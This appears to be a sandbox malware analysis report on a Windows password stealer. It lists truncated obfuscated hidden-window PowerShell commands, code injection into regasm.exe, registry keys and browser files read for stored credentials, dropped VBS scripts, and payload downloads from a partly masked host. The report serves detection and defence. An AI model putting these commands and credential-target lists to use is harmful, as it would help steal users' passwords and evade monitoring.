Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle hidden -command "$gh47gh7='92#72#37#26#67#E2#47#96#46#56#27#36#C5#72#02#B2#14#45#14#44#05#05#14#A3#67#E6#56#42#82#02#62#B3#85#06#54#06#94#C7#72#92#72#72#37#26#67#E2#47#96#46#56#27#...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-PSReadlineOption -HistorySaveStyle SaveNothing;$kCXXlFGqpKYnDiVuIJxR='64(6F(20(7B(24(70(69(6E(67(20(3D(20(74(65(73(74(2D(63(6F(6E(6E(65(63(74(69(6F(6E(20(2D(63(6F(6D(70(20(67(6F(6F(67(6C(65...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe
Searches for registry branches where third party applications store passwords
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Trillian]
- [<HKCU>\Identities\{91255D00-95D9-49F5-8E84-7C027F5283B7}\Software\Microsoft\Internet Account Manager\Accounts]
- [<HKCU>\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
- [<HKCU>\Software\Microsoft\Internet Account Manager\Accounts]
- [<HKCU>\Software\Paltalk]
- [<HKCU>\Software\Google\Google Talk\Accounts]
- [<HKCU>\Software\Mirabilis\ICQ\NewOwners]
- [<HKCU>\Identities\{91255D00-95D9-49F5-8E84-7C027F5283B7}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
- [<HKLM>\Software\Wow6432Node\Mirabilis\ICQ\NewOwners]
- [<HKCU>\Software\AIM\AIMPRO]
- [<HKCU>\Software\America Online\AIM6\Passwords]
- [<HKCU>\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users]
- [<HKCU>\Software\Microsoft\IdentityCRL]
- [<HKCU>\Software\Microsoft\MSNMessenger]
- [<HKLM>\Software\Wow6432Node\Miranda]
- [<HKCU>\Software\Yahoo\Pager]
- [<HKCU>\Software\Microsoft\Windows Live Mail]
Reads files which store third party applications passwords
- %APPDATA%\mozilla\firefox\profiles.ini
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %APPDATA%\opera software\opera stable\login data
Modifies file system
Creates the following files
- %APPDATA%\credit.vbs
- %LOCALAPPDATA%\microsoft\credit.vbs
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %TEMP%\dmsfupcfxjorfyio
Deletes the following files
- %TEMP%\dmsfupcfxjorfyio
Network activity
TCP
HTTP GET requests
- http://cr######llectionglobal.co/holder/ach.vbs
- http://cr######llectionglobal.co/mint/fila.jpg
UDP
- DNS ASK cr######llectionglobal.co
- DNS ASK da#####ime.myq-see.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\wscript.exe' "%APPDATA%\credit.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-PSReadlineOption -HistorySaveStyle SaveNothing;$kCXXlFGqpKYnDiVuIJxR='64(6F(20(7B(24(70(69(6E(67(20(3D(20(74(65(73(74(2D(63(6F(6E(6E(65(63(74(69(6F(6E(20(2D(63(6F(6D(70(20(67(6F(6F(67(6C(65...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c copy "%APPDATA%\credit.vbs" "%LOCALAPPDATA%\Microsoft" /Y' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c start /min Powershell -WindowStyle hidden -command "$gh47gh7='92#72#37#26#67#E2#47#96#46#56#27#36#C5#72#02#B2#14#45#14#44#05#05#14#A3#67#E6#56#42#82#02#62#B3#85#06#54#06#94#C7#72#92#72#72#37...
- '<SYSTEM32>\cmd.exe' /c copy "%APPDATA%\credit.vbs" "%LOCALAPPDATA%\Microsoft" /Y
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe'
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe' /stext "%TEMP%\dmsfupcfxjorfyio"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe' /stext "%TEMP%\fgyyvhnztrgwimeswbl"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\regasm.exe' /stext "%TEMP%\qidqwaxshzybsstwgmyjwu"
